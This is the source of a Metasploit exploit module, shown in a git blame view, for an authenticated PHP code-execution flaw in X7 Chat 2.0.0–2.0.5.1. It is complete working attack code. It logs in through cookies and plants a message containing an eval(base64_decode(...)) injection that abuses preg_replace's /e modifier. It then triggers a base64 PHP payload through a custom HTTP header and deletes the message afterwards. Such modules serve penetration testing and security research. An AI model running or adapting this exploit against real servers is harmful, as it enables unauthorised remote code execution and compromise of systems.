metasploit-framework/modules/exploits/multi/http/x7chat2_php_exec.rb

194 lines
6.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2014-11-04 00:06:09 +00:00
Rank = ExcellentRanking
2014-10-28 00:15:39 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
2014-11-04 00:04:30 +00:00
'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
2014-10-28 00:15:39 +00:00
'Description' => %q{
2014-11-04 00:04:30 +00:00
This module exploits a post-auth vulnerability found in X7 Chat versions
2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
uses preg_replace() function with the /e modifier. This allows a remote
authenticated attacker to execute arbitrary PHP code in the remote machine.
2014-10-28 00:15:39 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
],
2014-11-04 00:18:42 +00:00
'References' =>
[
# Using this URL because isn't nothing else atm
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
],
2014-11-04 00:04:30 +00:00
'Platform' => 'php',
2014-10-29 02:30:08 +00:00
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
2014-10-28 00:15:39 +00:00
'DisclosureDate' => 'Oct 27 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
], self.class)
end
def check
2014-11-04 00:04:30 +00:00
res = exec_php('phpinfo(); die();', true)
2014-10-28 00:15:39 +00:00
2014-11-04 00:04:30 +00:00
if res && res.body =~ /This program makes use of the Zend/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
2014-10-28 00:15:39 +00:00
end
2014-11-04 00:04:30 +00:00
def exec_php(php_code, is_check = false)
2014-10-28 00:15:39 +00:00
# remove comments, line breaks and spaces of php_code
2014-11-04 00:04:30 +00:00
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
2014-10-28 00:15:39 +00:00
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
2014-11-04 00:04:30 +00:00
while Rex::Text.encode_base64(payload_clean) =~ /=/
payload_clean = "#{ payload_clean } "
2014-10-28 00:15:39 +00:00
end
2014-11-04 00:04:30 +00:00
payload_b64 = Rex::Text.encode_base64(payload_clean)
2014-10-28 00:15:39 +00:00
cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
2014-10-28 00:15:39 +00:00
print_status("Trying for version 2.0.2 up to 2.0.5.1")
2014-10-29 02:30:08 +00:00
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
2014-10-28 00:15:39 +00:00
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
2014-10-29 02:30:08 +00:00
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
2014-10-28 00:15:39 +00:00
},
'vars_get' => {
# value compatible with 2.0.2 up to 2.0.5.1
'act' => 'user_cp',
2014-10-28 00:15:39 +00:00
'cp_page' => 'msgcenter',
2014-10-29 02:30:08 +00:00
'to' => datastore['USERNAME'],
2014-10-28 00:15:39 +00:00
'subject' => rand_text,
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
2014-10-28 00:15:39 +00:00
}
})
2014-11-04 00:04:30 +00:00
unless res && res.code == 200
2014-10-29 02:30:08 +00:00
print_error("Sending the message (#{ rand_text }) has failed")
2014-11-04 00:04:30 +00:00
return false
2014-10-28 00:15:39 +00:00
end
if res.body =~ /([0-9]*)">#{ rand_text }/
2014-10-29 02:30:08 +00:00
message_id = Regexp.last_match[1]
2014-11-04 00:04:30 +00:00
user_panel = 'user_cp'
2014-10-28 00:15:39 +00:00
else
2014-10-29 02:30:08 +00:00
print_error("Could not find message (#{ rand_text }) in the message list")
print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
},
'vars_get' => {
# value compatible with 2.0.0 up to 2.0.1 a1
'act' => 'usercp',
'cp_page' => 'msgcenter',
'to' => datastore['USERNAME'],
'subject' => rand_text,
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
}
})
2014-11-04 00:04:30 +00:00
unless res && res.code == 200
print_error("Sending the message (#{ rand_text }) has failed")
2014-11-04 00:04:30 +00:00
return false
end
if res.body =~ /([0-9]*)">#{ rand_text }/
message_id = Regexp.last_match[1]
2014-11-04 00:04:30 +00:00
user_panel = 'usercp'
else
print_error("Could not find message (#{ rand_text }) in the message list")
2014-11-04 00:04:30 +00:00
return false
end
2014-10-28 00:15:39 +00:00
end
2014-10-29 02:30:08 +00:00
print_status("Accessing message (#{ rand_text })")
print_status("Sending payload in HTTP header '#{ rand_text }'")
2014-11-04 00:04:30 +00:00
if is_check
timeout = 20
else
timeout = 3
end
2014-10-28 00:15:39 +00:00
res = send_request_cgi({
2014-10-29 02:30:08 +00:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
2014-11-04 00:04:30 +00:00
rand_text => payload_b64,
2014-10-28 00:15:39 +00:00
},
2014-10-29 02:30:08 +00:00
'vars_get' => {
2014-11-04 00:04:30 +00:00
'act' => user_panel,
2014-10-28 00:15:39 +00:00
'cp_page' => 'msgcenter',
'read' => message_id,
2014-10-28 00:15:39 +00:00
}
2014-11-04 00:04:30 +00:00
}, timeout)
2014-10-28 00:15:39 +00:00
res_payload = res
2014-10-29 02:30:08 +00:00
print_status("Deleting message (#{ rand_text })")
2014-10-28 00:15:39 +00:00
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
2014-10-29 02:30:08 +00:00
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
2014-10-28 00:15:39 +00:00
},
'vars_get' => {
2014-11-04 00:04:30 +00:00
'act' => user_panel,
2014-10-28 00:15:39 +00:00
'cp_page' => 'msgcenter',
'delete' => message_id,
2014-10-28 00:15:39 +00:00
}
})
if res && res.body =~ /The message has been deleted/
2014-10-29 02:30:08 +00:00
print_good("Message (#{ rand_text }) removed")
2014-10-28 00:15:39 +00:00
else
2014-10-29 02:30:08 +00:00
print_error("Removing message (#{ rand_text }) has failed")
2014-11-04 00:04:30 +00:00
return false
2014-10-28 00:15:39 +00:00
end
# if check return the response
2014-11-04 00:04:30 +00:00
if is_check
2014-10-28 00:15:39 +00:00
return res_payload
2014-11-04 00:04:30 +00:00
else
return true
2014-10-28 00:15:39 +00:00
end
end
def exploit
2014-11-04 00:04:30 +00:00
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
end
2014-10-28 00:15:39 +00:00
end
end